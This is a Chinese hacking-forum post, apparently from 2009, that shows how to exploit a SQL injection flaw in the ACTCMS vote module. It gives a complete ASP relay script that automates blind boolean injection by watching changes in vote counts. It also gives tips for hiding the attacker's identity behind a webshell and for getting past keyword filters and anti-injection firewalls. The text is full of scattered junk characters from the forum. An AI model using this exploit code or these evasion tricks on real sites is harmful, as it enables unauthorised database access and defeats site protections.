注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
+ B  Z: R: M4 ]( j链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
/ b1 Y. t5 _% o关于actcms漏洞的利用  by 3x qq:381862589
$ @( S' `# _7 S  @转载请注明以上
漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

( u) C8 Y/ A" C# ~1 C' `0 m# o2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

5 H) a1 k# H3 n& i# U  h4    end if   
4 X  n1 |- J2 K. e
5    for i=1 to request("voted").count   

% F. S' N/ }$ v8 o6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
: y; I# U+ ~6 E0 _$ ]' S
7 L  k! R6 Y' M2 ^' m7    next   

* l8 i: H8 ^/ m# a, O* _- O8....   
8 D  o; f. Y3 h5 S/ }
9 W* e9 S" j+ q5 Y# Z4 w; W9 R" p* G" L3 Y9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
, w+ @! p+ p; r7 c, l+ N如果投票成功票数加1
! \! U# v/ U& c: l; R" }* ?2 ^            失败票数不变
# y, B; Y6 F$ f8 ]+ ^如图：
! b3 z3 `; k2 }$ Q# @, N% Zhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! @0 o) X4 G7 `
2009-12-27 13:20

6 T" H+ D9 ^* E2 _; }+ o利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
0 s, @5 W8 }3 O; ]
本帖隐藏的内容需要回复才可以浏览
0 w. \6 K( l# ~6 E5 O. k  x我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: F+ c$ @" Y0 _6 W6 q, a注入地址：http://localhost/actcms/plus/vote/vote.asp
7 h* ?* a' _( O注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

" W# C: `9 F5 ]& Q; H# l  P1 C然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% h" ~0 F% Q3 t+ S# v# k
$ y7 R6 Z6 {0 I7 R04JmStr="id=1&voted=-1 or 1="&JmdcwName
5 f3 f5 J3 y% q( s& B' ]% ?
05JmStr=URLEncoding(JmStr)

3 z/ n4 i" p1 s% Q06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
7 W/ Z: q* l, n$ e8 O: O9 d5 g
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr
5 l$ {1 l; V; y/ _- e: k4 |( x' t
09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

; W8 @) S, q# G1 m% V11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
1 p9 h; o+ ]  [: F# A) a; h
7 y$ Q) W3 l$ _( j8 j4 A5 w12JmCok=replace(JmCok,chr(32),"%20")  
  @: D0 f5 Q$ W
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
' m" U; \) p+ Q: S5 f
+ M4 O/ p4 F' B- B4 l14  
' e! T, v0 A+ N4 q$ L# q8 h
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
3 E" v+ \# F/ P
16  

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

# f1 O+ [8 ?; L, y18response.write test1&""&test2&""
1 u/ a1 R# v# n+ o3 L1 q/ S( |$ w
19  

# c0 f7 X8 {9 S% ^  e20if test1=test2 then '如前后记录相等，表示失败

& b1 Z8 J% H' ~& p/ U0 d9 b21  response.write "failed"
6 y9 D+ `* {4 V' F
/ Z: `' I  J9 }6 @4 F. I22else
, P2 C! Y1 R/ X* ]
3 H6 b: X1 _6 s3 ^9 t% |4 h4 ~6 }23  response.write "succeed"

' j4 z# M8 I$ V3 _/ R24end if  

8 T  V7 K2 S7 A/ S0 K% j9 [8 \25  
; h7 t1 y# Q4 n+ ~+ A: d3 U9 ?
26response.write "by 3x"
( {0 x# f+ _( a' Z
27  

6 o$ p( e- Z$ R5 q- N7 C: B& @% \" L28  

2 r* R" _0 [! g29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http
1 k! O/ t9 z7 u" Y
$ B6 B" J1 c. _2 n8 M! A) A7 Q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
: ^+ }$ @0 o$ J  u* ^! F+ ^
32With Http

33  
' Q& F% {! m; r: K( ]4 F; q
34.Open "GET",PostUrl,False
3 x( A- B- w+ t  Y
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
2 d! k2 V- b' Z2 b% v1 r  h0 D8 x
36.SetRequestHeader "Referer",PostRef
; [8 O, D8 l5 v/ k
37.SetRequestHeader "Cookie",PostCok

* ^( u* U( _7 S38.Send ()
3 T, I! B, z. {: @5 C. l9 e
39PostData = .ResponseBody
2 D' T, }9 P' \) w5 d
40End With

4 F' K# V7 A% t9 x! r41Set Http = Nothing
" l5 R7 k( C  f6 n$ v9 l2 W
42PostData =bytes2BSTR(PostData)

43End Function

44  
: H5 f  i3 Q/ M
45  
$ X7 Y' n! Y+ P0 B
46Function bytes2BSTR(vIn)

47Dim strReturn

9 s" E  h9 h, _48Dim I, ThisCharCode, NextCharCode
, R( l; N8 u$ E/ K
2 O( u* F  o9 p+ R9 w1 W. N49strReturn = ""

, R; Y/ _4 j- A# p6 |50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))
- @& |3 v2 X- A% L, ?
52If ThisCharCode < &H80 Then
, A5 n! ^; V8 g2 c2 r. \
# N9 {. T2 w! k- n3 d/ F; k7 d3 z53strReturn = strReturn & Chr(ThisCharCode)

54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))
, T" r$ _! _' o" T7 P
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1
9 w; P6 }( Q! I* S" f( i
58End If

59Next

/ k0 T! h$ q5 j" [& A$ F& F60bytes2BSTR = strReturn

& I# w& w' m- G& k! D% G6 p) ~, f61End Function
& s3 _2 s5 ?* o/ s5 H, B1 ^' H& S) {
0 h: a. b0 k$ d' G# R" g( g) x62  
4 w: V: S, [2 p9 N8 K2 t4 C. k* u/ O: v
3 Y5 }4 _: v: X" O! X8 j( ]- [; j63Function URLEncoding(vstrin)  

64strReturn=""
8 K" a/ Y* A0 q- `8 }. s& z# e
65Dim i

( k% h1 X1 c: M! b# D( ]( N. r66For i=1 To Len(vstrin)
1 z. F# I( U+ |5 E) G  d
67ThisChr=Mid(vstrin,i,1)

/ i) Y7 i% p" T% X9 f68if Abs(Asc(ThisChr))< &HFF Then

( n0 D) F* B" R& W3 E/ P0 e- d69strReturn=strReturn & ThisChr

  }0 p0 Q+ l6 p) n4 \- G% S1 V" [70Else

71InnerCode=Asc(ThisChr)
! C- ?% e) j5 w" N. D- Y* w, K$ P
, U4 C6 t% V% k" I1 _72If InnerCode<0 Then
) x& P. O6 I( Z1 k" `
& s6 ^% |' Z+ N$ n* M& u  V4 k73InnerCode=InnerCode + &H10000
, {6 z4 S4 b# C4 l4 ]2 u' J
74End If
* x0 K1 ~9 U" q# L: B8 R0 ]
75Hight1=(InnerCode And &HFF00) \&HFF
- t5 [! D8 M- H" n+ n- ]' J: w# g/ P
2 J2 W$ Z$ `+ t2 j6 P76Low1=InnerCode And &HFF
3 r; v; [8 C/ P! X) b8 e+ c+ S
, \- m! d; M) J) H77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

79Next

80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
$ K8 C/ t; G5 I* h
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
& ]7 `* \; p, }/ s: J$ g
  n( s4 U3 L+ D! x+ v82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn
, c1 G+ e* D) r7 F5 o/ s7 Y
1 s- Q0 Y7 m- l5 N( _84End Function
/ h7 U/ _. ?- _7 ?
8 o# G0 w; o3 G7 V* i! G8 A85  
+ A5 M' H* @' h4 V' I7 k3 h
86function getSt(body)
/ s0 E* @2 ^/ f
87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")
  q2 Y! U6 c/ }: L; |2 {
, L) r9 P$ ~7 q# t89  getSt=mid(body,startpot,endpot-startpot)

90end function
9 }) {" Q9 ~5 z/ v1 b5 b
9 {4 I8 z/ e+ g6 o8 v91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
) _  l0 g) G& G/ `测试下效果：
% J' m7 V, o- o投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
7 Y6 `5 d0 `: k7 m6 @# l5 y$ |投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; \  r% I6 ?5 u+ U, b5 ^
4 w$ c, s+ @  J) n+ t2009-12-27 13:29
* ?4 f  V/ Q) e* \-------------------------------------------------------------------------------
0 g) t$ Y$ I0 v, V8 q) |4 B, a! I" R再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
' g! w- c. d5 ?% [$ ?# e4 H$ x, G很抱歉。。。只能用单线程工具去注入。。。。。
& O9 K1 q5 Z6 G3 h所以失败。。。不好意思。。。
  }  U1 U$ i8 C. `-------------------------------------------------------------------------------
& D6 k' B& ^# T8 \% o% D1 Q
: }: b) t8 Q$ G7 I: E7 v注入中转的一些其他应用
/ A+ d6 V& R. ^其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
. N' J1 {& p9 D* m4 Q3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过